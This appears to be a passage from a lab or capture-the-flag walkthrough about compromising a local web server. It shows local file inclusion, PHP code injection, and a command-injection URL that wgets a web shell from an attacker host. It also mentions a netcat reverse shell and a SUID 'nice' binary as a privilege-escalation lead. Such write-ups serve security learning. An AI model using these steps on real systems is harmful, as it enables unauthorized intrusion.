+## PORT 80 (HTTP)
+
+
+
+On clicking `Test` it will redirect us to port 8080 by asking credentials
+
+
+
+
+
+We can see a paramter `out`
+
+
+On tampering with that paramter it gave an error which is useful to us because error is related to opening a file `include_path` so we can try for lfi (Local File Inclusion)
+
+
+
+But apart from just seeing `/etc/passwd` can't access anything else. Going back to `/production` I tried to inject php code
+
+
+
+
+
+Now I can get a reverse shell but running `netcat` directly through parameter was not working I was getting a connection then it was closing so I upload `phpbash.php` which is an interactive php shell
+
+`http://192.168.1.9/production/sendcommand.php?out=out&cmd=wget http://attacker_ip/phpbash.php;`
+
+
+
+After getting a netcat shell I ran linpeas
+
+
+
+it showed `nice` as SUID , nice is a binary used to invoke a utility or shell script with a particular CPU priority, thus giving the process more or less CPU time than other processes as it is a system binary there might be something on GTFOBINS for it
